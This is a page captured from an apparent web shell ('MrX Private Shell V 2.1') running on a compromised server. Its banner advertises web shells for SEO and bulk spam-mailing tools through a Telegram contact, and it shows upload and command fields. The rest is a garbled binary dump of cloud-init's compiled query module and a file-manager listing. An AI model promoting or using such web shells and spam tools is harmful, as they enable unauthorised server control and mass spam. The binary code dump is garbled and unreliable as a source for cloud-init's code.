__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[hk,���SrSSKrSSKrSSKrSSKrSSKJr SSKJrJ	r	 SSK
Jr SSKJ
r
JrJr SSKJr SSKJr S	r\R*"\5rSS
jrSrS\4S
jrS\S\S\S\4SjrSrSr \S:Xa\ "5 gg)aTQuery standardized instance metadata provided to machine, returning a JSON
structure.

Some instance-data values may be binary on some platforms, such as userdata and
vendordata. Attempt to decompress and decode UTF-8 any binary values.

Any binary values in the instance metadata will be base64-encoded and prefixed
with "ci-b64:" in the output. userdata and, where applicable, vendordata may
be provided to the machine gzip-compressed (and therefore as binary data).
query will attempt to decompress these to a string before emitting the JSON
output; if this fails, they are treated as binary.
�N)�EACCES)�
atomic_helper�util)�read_cfg_paths)�convert_jinja_instance_data�get_jinja_variable_alias�render_jinja_payload)�REDACT_SENSITIVE_VALUE)�JinjaSyntaxParsingException�queryc	���U(d[R"[[S9nUR	SSSSSS9 UR	SS	[
S
[
5RS53S9 UR	S
SSSSS9 UR	SS[
SS9 UR	SS[
SS9 UR	S[
SSS9 UR	SSSSSSS9 UR	SS [
S!S"S#9 U$)$aBuild or extend an arg parser for query utility.

@param parser: Optional existing ArgumentParser instance representing the
    query subcommand which will be extended to support the args of
    this utility.

@returns: ArgumentParser with proper argument configuration.
)�prog�descriptionz-dz--debug�
store_trueFz+Add verbose messages during template render)�action�default�helpz-iz--instance-dataz,Path to instance-data.json file. Default is �
instance_data)�typerz-lz--list-keyszBList query keys available at the provided instance-data <varname>.z-uz--user-datazHPath to user-data file. Default is /var/lib/cloud/instance/user-data.txtz-vz
--vendor-datazLPath to vendor-data file. Default is /var/lib/cloud/instance/vendor-data.txt�varname�?z�A dot-delimited specific variable to query from instance-data. For example: v1.local_hostname. If the value is not JSON serializable, it will be base64-encoded and will contain the prefix "ci-b64:". )r�nargsrz-az--all�dump_allz Dump all available instance-data)rr�destrz-fz--format�formatz�Optionally specify a custom output format string. Any instance-data variable can be specified between double-curly braces. For example -f "{{ v2.cloud_name }}")rrr)�argparse�ArgumentParser�NAME�__doc__�add_argument�strr�get_runpath��parsers �5/usr/lib/python3/dist-packages/cloudinit/cmd/query.py�
get_parserr&&sX����(�(�d��H��
�������
:��������
�:���+�+�O�<�=�
?����������
�
�	������
�
5��������
�
7�������
��
3��
��������
�
/�
�������
�
�
<�
�
��M�c��[R"USS9nURS5$![a [R"USSS9s$f=f)z�Attempt to return a string of user-data from ud_file_path

Attempt to decode or decompress if needed.
If unable to decode the content, raw bytes will be returned.

@returns: String of uncompressed userdata if possible, otherwise bytes.
T)�quietzutf-8F)r)�decode)r�load_binary_filer*�UnicodeDecodeError�decomp_gzip)�ud_file_path�bdatas  r%�
load_userdatar0~sQ��
�!�!�,�d�;�E�A��|�|�G�$�$���A�����U�4�@�@�A�s�(� A�
A�returnc�j�[R"5n[5nU(aUnOkURS5nUS:XaRURS5n[RRU5(aUnO[RSUU5 UnOUnU(aUnO*[RRURS5nU(aUn	O*[RRURS5n	URS5n
[R"U5n[R""U5n[R""[R"U
55n
US:wa5S[$<SU<3US
'S[$<SU	<3US'S[$<SU
<3US'U$['U5US
'['U	5US'X�S'U$![[4aGnUR[:Xa[R!SU5 e[R!S	U5 eS
nAff=f![[4a S
n
N�f=f)a~Return a dict of merged instance-data, vendordata and userdata.

The dict will contain supplemental userdata and vendordata keys sourced
from default user-data and vendor-data files.

Non-root users will have redacted INSTANCE_JSON_FILE content and redacted
vendordata and userdata values.

:raise: IOError/OSError on absence of instance-data.json file or invalid
    access perms.
rr�instance_data_sensitivez4Missing root-readable %s. Using redacted %s instead.z
user-data.txtzvendor-data.txt�combined_cloud_configz$No read permission on '%s'. Try sudozMissing instance-data file: %sN�<z> file:�userdata�
vendordata)�os�getuidrr"�path�exists�LOG�warning�join�
instance_linkr�load_text_file�IOError�OSError�errnor�error�	load_jsonr
r0)r�	user_data�vendor_data�uid�paths�instance_data_fn�redacted_data_fn�sensitive_data_fn�user_data_fn�vendor_data_fn�combined_cloud_config_fn�
instance_json�er4s              r%�_read_instance_datarR�s
��
�)�)�+�C���E��(�� �,�,�_�=���!�8� %� 1� 1�2K� L���w�w�~�~�/�0�0�#4� ����J�%�$��
$4� �/��� ���w�w�|�|�E�$7�$7��I���$�������e�&9�&9�;L�M��$�0�0�1H�I����+�+�,<�=�
��N�N�=�1�M�%� $������ 8�9�!
���a�x�"��%
�
�j�!�

#��'
�
�l�#�

#�$�2
�
�-�.���%2�,�$?�
�j�!�&3�N�&C�
�l�#�1F�-�.����E
�W����7�7�f���I�I�<�>N�O�	�
�I�I�6�8H�I�
����
�W��%�!%��%�s+�G�<*H�H�AH�H�H2�1H2�jinja_vars_without_aliases�jinja_vars_with_aliasesr�	list_keysc�D�SnUnURS5H@nXnXe;aXVnOUHn	[	U	5U:XdMXYn O U(aUS-
nXF-
nMB U$![a9nU(aSRXdS9nOSRU5n[U5UeSnAff=f)a�Return the value of the dot-delimited varname path in instance-data

Split a dot-delimited jinja variable name path into components, walk the
path components into the instance_data and look up a matching jinja
variable name or cloud-init's underscore-delimited key aliases.

:raises: ValueError when varname represents an invalid key name or path or
    if list-keys is provided by varname isn't a dict object.
��.z*instance-data '{key_path}' has no '{leaf}')�leaf�key_pathz Undefined instance-data key '{}'N)�split�KeyErrorr�
ValueErrorr)
rSrTrrU�walked_key_path�response�
key_path_partrQ�msg�keys
          r%�(_find_instance_data_leaf_by_varname_pathrc�s����O�)�H� ���s�+�
�	)�'>�&L�#��$��.�H���+�C�0�M�A�'�}�H�� ���s�"�O��(��-,�.�O��%�	)��B�I�I�&�J���9�?�?��H���S�/�q�(��	)�s�A�
B�&4B�Bc��[URURURUR/5(d.[
R
S5 [5R5 g[URURUR5nUR(aMSRURS9n[USUUR (aSOSS9nU(a['U5 gg[)U5nUR(a+[)USS9n[+UUURURS
9nUR(a^[1U[25(d![
R
SUR5 gSR5[7UR9555n[1U[$5(d[:R<"U5n['U5 g![[4a gf=f!["a)n[
R
S	[%U55 S
nAgS
nAff=f![,[.4an[
R
U5 S
nAgS
nAff=f)z3Handle calls to 'cloud-init query' as a subcommand.zDExpected one of the options: --all, --format, --list-keys or varname�z## template: jinja
{fmt})�fmtzquery command lineTF)�payload�
payload_fnr�debugz#Failed to render templated data. %sNr)�include_key_aliases)rSrTrrUz+--list-keys provided but '%s' is not a dict�
)�anyrUrrrr<rDr&�
print_helprRrrFrGrArBr	rirr!�printrrcr\r]�
isinstance�dictr>�sorted�keysr�
json_dumps)�name�argsrrg�rendered_payloadrQr_rTs        r%�handle_argsrws����������d�k�k�4�=�=�I�J�J��	�	�
&�	
�	����!���+��������0@�0@�
�
�
�{�{�-�4�4����4�E��	�3��/�+�"�j�j�d�e�	 ����"�#���+�=�9�H��|�|�"=��t�#
��		�?�+3�(?�����.�.�	�H��~�~��(�D�)�)��I�I�=�t�|�|�
���9�9�V�H�M�M�O�4�5���h��$�$� �+�+�H�5��	�(�O���g
�W������+�	��I�I�5��A��
���	��6�*�%�	��I�I�a�L���	�sB�,+G"�G8� H.�"G5�4G5�8
H+�H&�&H+�.I�>I�Ic�|�[5n[R"[[UR555 g)z,Tool to query specific instance-data values.N)r&�sys�exitrwr�
parse_argsr#s r%�mainr|Ks%��
�\�F��H�H�[��v�0�0�2�
3�4r'�__main__)N)!rr�loggingr8ryrCr�	cloudinitrr�cloudinit.cmd.develr�!cloudinit.handlers.jinja_templaterrr	�cloudinit.sourcesr
�cloudinit.templaterrr�	getLogger�__name__r<r&r0rprRr!�boolrcrwr|�r'r%�<module>r�s���
���	�
��)�.���
5�;���
����!��U�pA�M�$�M�`(� $�(�!�(��(��	(�V@
�F5��z���F�r'

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 153 B 0644
clean.cpython-313.pyc File 7.02 KB 0644
cloud_id.cpython-313.pyc File 4.74 KB 0644
main.cpython-313.pyc File 49.61 KB 0644
query.cpython-313.pyc File 11.2 KB 0644
status.cpython-313.pyc File 20.12 KB 0644
Filemanager